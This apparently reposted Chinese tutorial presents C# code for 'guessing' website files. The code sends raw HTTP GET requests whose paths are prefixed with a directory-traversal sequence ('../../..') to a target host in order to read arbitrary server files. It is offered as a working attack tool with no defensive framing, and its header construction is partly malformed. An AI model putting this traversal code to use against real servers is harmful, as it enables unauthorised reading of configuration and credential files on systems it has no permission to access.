c#使用程序猜解网站文件

2021/5/1 20:25:40

本文主要是介绍c#使用程序猜解网站文件,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

     public static string PostData(string file)
        {
            string strHTML = "";//用来保存获得的HTML代码

            string sendString;
            sendString = "GET //../../../../../../../.." + file + " HTTP/1.1\r\n";
            sendString += "Cookie: SESSIONID=1531169f08777da4\r\n\r\n";
            sendString += "Host: aaa.com\r\n";
            sendString += "Connection: Keep-alive\r\n";
            sendString += "Accept-Encoding: gzip,deflate\r\n";
            sendString += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36\r\n";
            sendString += "Accept: */*\r\n";

            //sendString = string.Format(sendString, file);
            Byte[] ByteGet = Encoding.GetEncoding("utf-8").GetBytes(sendString);
            IPAddress hostadd = Dns.GetHostEntry("aaa.com").AddressList[0];
            IPEndPoint EPhost = new IPEndPoint(hostadd, 80);
            Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            s.Connect(EPhost);
            if (!s.Connected)
            {
                strHTML = "链接主机失败";
            }
            s.Send(ByteGet, ByteGet.Length, SocketFlags.None);
            strHTML = Recv(s, Encoding.GetEncoding("utf-8"));
            return strHTML;
        }

        public static String Recv(Socket sock, Encoding encode)
        {
            Byte[] buffer = new Byte[1024000000];
            StringBuilder sb = new StringBuilder();

            Thread.Sleep(2500);//根据页面响应时间进行微调        
            Int32 len = sock.Receive(buffer);
            Console.WriteLine("socket.Available:" + sock.Available);
            sb.Append(encode.GetString(buffer, 0, len));

            while (sock.Available > 0)
            {
                Thread.Sleep(1000);//也可以视情况微调           
                Array.Clear(buffer, 0, buffer.Length);
                len = sock.Receive(buffer);
                Console.WriteLine("socket.Available:" + sock.Available);
                Console.WriteLine("接收:" + len + " B");
                sb.Append(encode.GetString(buffer, 0, len));
                string ss = encode.GetString(buffer, 0, len);
            }
            sock.Close();
            return sb.ToString();
        }

 



这篇关于c#使用程序猜解网站文件的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程